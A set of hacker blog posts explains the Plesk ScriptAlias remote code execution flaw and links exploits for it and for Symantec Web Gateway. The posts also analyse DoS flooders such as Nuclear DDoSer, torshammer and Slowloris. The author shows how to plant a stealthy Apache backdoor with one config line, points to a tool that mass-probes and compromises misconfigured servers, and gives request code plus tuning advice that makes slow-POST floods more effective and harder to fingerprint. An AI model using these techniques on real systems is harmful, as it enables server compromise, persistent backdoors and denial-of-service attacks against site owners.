ScriptAlias, Backdooring Apache, and the Plesk Remote Code Execution Exploit. (Also a free 0day :P)

/* WARNING: This post is slightly “rambling” as it is written without my usual proofreading and checking over for errors due to being my “field notes” of sorts, and due to current affairs leading to incredible time constraints. For those looking for the “Free 0day” mentioned in the title, read carefully ;) */

So, while experimenting with kingcope’s shiny Plesk RCE exploit – http://seclists.org/fulldisclosure/2013/Jun/21 – I decided to implement my own exploit for it in Python. Thanks to previously writing an exploit for the PHP-CGI vulnerability, this proved to be trivial.

The exploit is here: http://packetstormsecurity.com/files/122163/Plesk-PHP-Code-Injection.html

Now, that is nice and all, but lets take a look at why this vulnerability occurs.

Basically, the Apache config shipped with the vulnerable versions of Plesk, contains the directive ‘ScriptAlias /phppath/ “/usr/bin/”‘. This means that you can call any binary in the /usr/bin directory as a CGI script by passing it, and its arguments, in a URL, like so: host/phppath/php?-h

This allows you to directly call the PHP binary, have it executed as a CGI program, and the “-h” argument would be passed to it. What makes the exploit work, is we call the PHP binary and send it some arguments that allow us to send it PHP code to execute. You can, in fact, call *any* binary in /usr/bin/ and pass it args, the PHP interpreter being the easiest to abuse*

Basically, the vulnerability is caused by using the ScriptAlias directive to point at a directory, allowing one to call arbitrary binaries and use those to execute code.

Now, this is where it gets interesting.

I found it was trivial to “introduce” this vulnerability to an Apache webserver with one line, simply appending ScriptAlias /backdoor/ “/usr/bin/” to the httpd.conf file, or any file included by httpd.conf. This allows for a very sneaky PHP code execution backdoor to be “injected”, leaving no tell-tale files in the webroot, however, it does mean modifying a (often root owned) file. Still an interesting way to “add another way in”.

I then wondered if this line was a common thing to find in Apache config files, and if it could reliably allow remote code execution.

A few google queries later, and I was facedesking. And asking for a VPS to run some tests on.

First off, here is a well ranked guide on google for installing PHP in CGI mode on Ubuntu, which leads to a vulnerable configuration.
http://www.binarytides.com/setup-apache-php-cgi-ubuntu/

Next, we have OpenWRT Wiki showing us how to set up PHP… And leave ourselves open for the pwning.
http://wiki.openwrt.org/doc/howto/http.apache

There were a few others, which I will leave locating up to the reader.

Anyway, there was enough hideous code to make me consider writing an exploit/remote testing utility in Python for this bug, which is in my github repo for exploits at https://github.com/infodox/exploits
Running lolapache.py <site> will begin the process of probing and owning. Check out paths.txt, which contains the paths to probe for.

Demo:

Anyways, now for the TL;DR: If you are gonna be using Apache, and ScriptAlias’ing PHP, you are gonna have a bad time.
As for the free 0day, well. A whole load of boxes use these crappy configs, which means a whole load of boxes are ripe for getting owned by any moron with half a brain.

* I had a hit-and-miss series of tests passing an oneline reverse shell directly to Python interpreter and Perl interpreter, but it was unreliable. Some guys on rdot showed a method of using curl and python to pull down code and execute it.

0x4641494c – Fail Patching and Symantec Remote Root Redux!

Those of you who have been reading this for a while, or who are familiar with my work, might remember this: Symantec Web Gateway Remote Root, a little PoC I knocked together based on an exploit Muts from Offensive Security wrote. His PoC, I felt, was a tad unuseable, so I made an attempt at reinventing it :)

So, naturally, Symantec patched this terrible vulnerability. And everyone breathed a sigh of relief.

Or so they thought! Muts revisited it post-patch, and simply found another way to exploit the EXACT SAME FLAW. And when he released the PoC for his “Exploit: Reloaded”, I like to think he took my advice and wrote a better ‘sploit, as his new one is very similar to my “more weaponized” PoC. A bit neater too… Is this a game of one-upmanship? ;)

Without further ado, here is the exploit: Muts Reloaded!

Anyways, I better go off and finish that demo on Cryptfuscate I promised I would write :)
~infodox

Symantec Web Gateway 5.0.2 Remote Root Exploit

So I was browsing the net and happened across Muts’ latest PoC – an LFI bug in Symantec Web Gateway, which he claims gives remote root. You can see it here: Exploit DB

I read the exploit code and noticed, while beautifully elegant, it is a little bit of a pain in the ass to use, as you must edit it every single time.

I also was in the mood to knock up a quick bit of python, so here is what I made: Pastebin – Exploit Code

It is not the best, but was just my attempt to make the exploit code Muts provided a little better in the usability stakes :)

I have no Symantec WebGateway to test it in, but it should do the trick ;)

Anyway, thats it. All credit to Muts for finding the bug and writing the original exploit code, all I am doing is improving it. Will likely do this a lot for fun and to keep my programming skills sharpened :D

~infodox

Denial of Service: An investigation into “Nuclear DDoSer”

Introduction:
Ok, so I was trawling through the junk I planned on looking into during my research into “XerXes”, and had been looking at some of the HTTP flooders skids today use. Then I stumbled across this gem…

“Nuclear DDoSer”. Wow. Scrubs today cannot even discern between DoS and DDoS… BOOORING!

But wait! This one does a lot more than you think! It implements the fast-flux SOCKS/Proxy technique I spoke about (the same one XerXes uses), uses HTTP POST and HTTP GET flooding (perhaps even Slowloris/Slowpost?), and even sorts the proxies for you?

Those are things I was going to implement in “RailGun”, before I suspended the project for various reasons!

So, lets take a look.

The Nuclear DoS tool

Nuclear DoS - Proxy Menu

The attack menu of Nuclear DoS

So, I notice it has a lot of configurable options – which I plan to eventually investigate, but for now I am more interested in what kind of “junk” it is sending…

Experimentation – The “SlowLoris”

So I started an apache server on localhost, ran Wireshark, and ran the “get flooder”. As my current OS is BackTrack 5, bt.foo.org points towards 127.0.0.1.

This is what all the HTTP requests looked like…

GET /
Host: bt.foo.org
User-Agent:  Mozilla/5.0 (Windows; U;Windows  NT 6.1;fr; rv: 1.9.2) Gecko/201 00115 Firefox/3.6
Accept: text/ html,application /xhtml+xml,application/xml;q=0.9 ,*/*;q=0.8
Accept-Language: en, en-us;q=0.8,en-u s;q=0.5,en;q=0.3
Accept-Charset : ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

So, not 100% sure of myself, I ran SlowLoris against myself… Here be the output of the Wireshark…

GET /
Host: bt.foo.o rg
User-Agent:  Mozilla/5.0 (Win dows; U;Windows  NT 6.1;fr; rv: 1.9.2) Gecko/201 00115 Firefox/3.6
Accept: text/ html,application /xhtml+xml,application/xml;q=0.9 ,*/*;q=0.8
Accept-Language: en, en-us;q=0.8,en-u s;q=0.5,en;q=0.3
Accept-Charset: ISO-8859-1,utf -8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

Well shit! Here we have a gods-honest, multithreaded, multi proxy, .net version of Slowloris! For once, I actually was surprised. Skidiots NEVER write anything properly!
Add in a bit of user-agent spoofing (both the slowloris.pl I have, the latest, and the “Nuclear DDoSer” seem to use a static UA, though I didn’t investigate too much), and this could be pretty fascinating.

Might I add, when either of them were ran, the server stopped replying to anything, pretty hilarious IMHO…

Experimentation! The “Slow Post”

Now to investigate the “Slow Post” it claims to have… Apache back up? Check… Ok, lets go!

Here are the headers/requests the skidware outputs…

POST /
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,  application/x-shockwave-flash, application/x-ms- application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Accept-Language:  en
User-Agent:  Mozilla/4.0 (compatible;MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5 .21022; .NET CLR  3.0.4506.2152;  .NET CLR 3.5.307 29)
Content-length: 20
Host: bt.foo.org
Connection: Keep-Alive
data=nuclear ddosser

Ok. Now again, it needs some user agent spoofing, and I do not quite understand the huge UserAgent it uses, though I assume it is a copy paste, or perhaps the author hoped a bigger user agent meant a better flood. The other MASSIVE PROBLEM is the EASILY FINGERPRINTED “data=nuclear ddoser”. A better implementation would have a random crap generator, and calculate content length on the fly, changing every “n” packets/requests sent.

BUG: Should specify Keep Alive value equal to or less than 120 but no less than 80.

Let’s see what the Python variant, “torshammer” (a VERY efficient tool if you tweak it a little) looks like…

POST /  HTTP/1.1
Host:  bt.foo.org
User-Agent: Mozilla /4.0 (compatible ; MSIE 7.0; Windows NT 5.1; Trident/4.0;FDM; .NET CLR 2.0.50727 ; InfoPath.2; .NET CLR 1.1.4322)
Connection: keep-alive
Keep-Alive: 900
Content-Length: 10000
Content-Type:  application/x-ww w-form-urlencoded

There is a lot of junk sent after this request, and this is what the request (in the Python script) looks like…

self.socks.send(“POST / HTTP/1.1\r\n”
“Host: %s\r\n”
“User-Agent: %s\r\n”
“Connection: keep-alive\r\n”
“Keep-Alive: 900\r\n”
“Content-Length: 10000\r\n”
“Content-Type: application/x-www-form-urlencoded\r\n\r\n” %
(self.host, random.choice(useragents))

Now, one MASSIVE failing there is in the Keep-Alive value. The author of Torshammer chose “900”. Actually, to be fair, he just optimized the PoC I released back in my evil blackhat days, and I had left it at 900 as an anti skiddo trick. The real value to choose is between 80 and 120. With these smaller values the box ACTUALLY WAITS, instead of giving error 400 all the time. This is one of those edits to make ;)

I also like his randomization of user agents, it is pretty win. And the POST junk it sends is as follows…

p = random.choice(string.letters+string.digits)
print term.BOL+term.UP+term.CLEAR_EOL+”Posting: %s” % p+term.NORMAL
self.socks.send(p)

See this? He generates random junk strings to POST to the target server, FAR harder to fingerprint! Of course, the best implementations would not just limit to letters and numbers, all kinds of characters are fine too :D

Conclusion:
This particular “Skid Ware” actually DOES what it is meant to do, surprisingly enough. The main problem is that it does have a tendency to crash every so often (what do you expect? It is .net!), and, uh, its closed source.
But not for long!
Once I get a Windows box, or even a box capable of running a virtual machine of Windows (I had it running under Mono), I plan to reverse engineer it… Which will be hilarious! When I get around to doing that I will release the binary and source-code of this application.

If you are interested in the other applications used, the “SlowLoris”, and “Tors Hammer” programs, please check the following links:
SlowLoris
Torshammer

References:
OWASP – Layer 7 DDoS
OWASP HTTP POST DoS Tool
Arbor Networks
RSnake – Slowloris
Myself…

Bootnote: “NewEraCracker”, the author of LOIC, has written a PHP script (designed to be ran from the PHP command line, like “php -f SlowPOST.php”) which seems to implement the HTTP Slow Post attack fairly well.
You can see on line 201 that he has even paid attention to detail on how it works!
$out .= “Keep-Alive: “.mt_rand(60,120).”\r\n”;
Link: NewEraCracker’s SlowPost Tool

I guess he finally listened to all the bitching the more clever “Anons” were doing about needing replacements for LOIC…